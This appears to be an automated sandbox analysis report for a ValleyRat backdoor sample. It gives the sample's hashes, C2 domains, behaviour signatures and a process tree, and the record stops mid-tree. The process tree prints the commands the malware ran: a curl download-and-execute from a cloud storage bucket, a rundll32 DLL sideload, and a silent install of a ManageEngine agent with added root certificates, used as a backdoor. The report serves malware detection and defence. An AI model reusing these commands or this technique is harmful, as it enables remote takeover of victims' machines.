Overview

overview

10

Static

static

3

ContactActivation.dll

windows10-2004-x64

3

CrcLiEnt.dll

windows10-2004-x64

10

CrcLiEnt.dll

windows11-ltsc_2024-x64

10

M20261015258.exe

windows10-2004-x64

10

M20261015258.exe

windows11-ltsc_2024-x64

10

eapprovp.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    155s
  • max time network
    306s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 03:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    M20261015258.exe
  • Size 1.1MB
  • Sample261017-dsppgach53
  • SHA256 81cf4d59df869abfe5034d160090d88bc9c573e8c5daf284fd29417d48411d5b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoordefense_evasiondiscoveryexecutionvalleyrat_s2persistenceransomwareratspywarestealertrojan

Malware Config

Extracted

Family

  • valleyrat_s2

C2

  • hscbhjsdbj.cc:6125

  • hscbhjsdbj.cc:5216

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

    backdoorvalleyrat_s2
  • Detects ValleyRAT payload 5 IoCs
  • DCAgent remote management tool 4 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Modifies file permissions 1 TTPs 5 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to get system information.

    execution
  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 29 IoCs
  • Executes dropped EXE 44 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 32 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 18 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 32 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 24 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 36 IoCs
  • Modifies system certificate store 2 TTPs 59 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\M20261015258.exe
    "C:\Users\Admin\AppData\Local\Temp\M20261015258.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5856
    • C:\ProgramData\G!#{&$,({&&t\libcrypto-3-x64.exe
      "C:\ProgramData\G!#{&$,({&&t\libcrypto-3-x64.exe"
      2⤵
      • Enumerates connected drives
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\ProgramData\G!#{&$,({&&t\CRCLIENT.dll",vmnetDHCP "C:\ProgramData\G!#{&$,({&&t\libcrypto-3-x64.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4116
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" "C:\ProgramData\G!#{&$,({&&t\CRCLIENT.dll",vmnetDHCP "C:\ProgramData\G!#{&$,({&&t\libcrypto-3-x64.exe"
          4⤵
          • Loads dropped DLL
          PID:6012
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://sssdsfgvksokfciosdkma.oss-ap-northeast-1.aliyuncs.com/LocalOfficess7.exe"
        3⤵
          PID:4800
        • C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe
          "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart
          3⤵
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4292
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\LocalOffice\run.vbs"
            4⤵
            • Executes a VBScript file via the Windows Script Host.
            • Suspicious use of WriteProcessMemory
            PID:2788
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c silent.bat
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1916
              • C:\Windows\system32\msiexec.exe
                msiexec /i "C:\Users\Admin\AppData\Local\Temp\LocalOffice\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\LocalOffice\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\LocalOffice\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\LocalOffice\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\UEMS_Silent.log"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5712
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 53D041D882F016874D2F8157E0E3280D
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4712
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
        2⤵
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies trusted root certificate store through registry
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
          3⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2364
          • C:\Windows\SysWOW64\net.exe
            net session
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1188
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 session
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1392
          • C:\Windows\SysWOW64\icacls.exe
            "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
            4⤵
            • Modifies file permissions
            • System Location Discovery: System Language Discovery
            PID:4964
          • C:\Windows\SysWOW64\icacls.exe
            "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "UEOYVALH\Admin":(OI)(CI)F /T /Q
            4⤵
            • Modifies file permissions
            • System Location Discovery: System Language Discovery
            PID:4824
          • C:\Windows\SysWOW64\icacls.exe
            "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
            4⤵
            • Modifies file permissions
            • System Location Discovery: System Language Discovery
            PID:712
          • C:\Windows\SysWOW64\icacls.exe
            "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
            4⤵
            • Modifies file permissions
            • System Location Discovery: System Language Discovery
            PID:3340
          • C:\Windows\SysWOW64\icacls.exe
            "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
            4⤵
            • Modifies file permissions
            • System Location Discovery: System Language Discovery
            PID:4976
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
          3⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1200
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5328
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2040
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3796
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:3212
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
          bin\dcinventory.exe -i postinstallation 0 1
          3⤵
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies trusted root certificate store through registry
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Checks SCSI registry key(s)
          • Modifies data under HKEY_USERS
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2924
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
            dcmetroapps.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5624
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc
          3⤵
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:2696
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
            bin\dcpatchscan.exe -y 1
            4⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3844
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5888
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1944
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4968
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5124
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5280
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4280
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2620
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3004
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4752
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4676
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1592
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4464
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:256
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *
              5⤵
                PID:2104
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *
                5⤵
                  PID:5032
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *
                  5⤵
                    PID:3940
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *
                    5⤵
                      PID:4768
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *
                      5⤵
                        PID:4624
                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *
                        5⤵
                          PID:5512
                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *
                          5⤵
                            PID:3308
                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\running-exe-checks.json.gz" *
                            5⤵
                              PID:4192
                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *
                              5⤵
                                PID:3156
                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *
                                5⤵
                                  PID:1168
                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\applications-vul.xml.gz" *
                                  5⤵
                                    PID:5172
                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-scan-data.xml.gz" *
                                    5⤵
                                      PID:2816
                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
                                      5⤵
                                        PID:1120
                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *
                                        5⤵
                                          PID:2160
                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *
                                          5⤵
                                            PID:2848
                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe
                                            5⤵
                                              PID:4988
                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *
                                              5⤵
                                                PID:2664
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""
                                                5⤵
                                                • Executes a command shell one-liner
                                                PID:1892
                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                  7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so
                                                  6⤵
                                                    PID:2164
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""
                                                  5⤵
                                                  • Executes a command shell one-liner
                                                  PID:3000
                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                    7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so
                                                    6⤵
                                                      PID:4164
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""
                                                    5⤵
                                                    • Executes a command shell one-liner
                                                    PID:2716
                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so
                                                      6⤵
                                                        PID:3112
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""
                                                      5⤵
                                                      • Executes a command shell one-liner
                                                      PID:5972
                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so
                                                        6⤵
                                                          PID:4120
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""
                                                        5⤵
                                                        • Executes a command shell one-liner
                                                        PID:2512
                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                          7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so
                                                          6⤵
                                                            PID:4748
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""
                                                          5⤵
                                                          • Executes a command shell one-liner
                                                          PID:4688
                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                            7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so
                                                            6⤵
                                                              PID:2396
                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *
                                                            5⤵
                                                              PID:5812
                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
                                                              5⤵
                                                                PID:1904
                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad2
                                                                5⤵
                                                                  PID:1288
                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 7093261d-e605-4137-be02-f2a185eeaad2 -f "--" -c val-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\Vulnerability-metadata.json" -a 1
                                                                    6⤵
                                                                      PID:5672
                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 7093261d-e605-4137-be02-f2a185eeaad2 -c val-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\Vulnerability-metadata.json" -e enabled -a 3
                                                                      6⤵
                                                                        PID:5956
                                                                    • C:\Windows\system32\CompatTelRunner.exe
                                                                      "C:\Windows\system32\CompatTelRunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun
                                                                      5⤵
                                                                        PID:5532
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
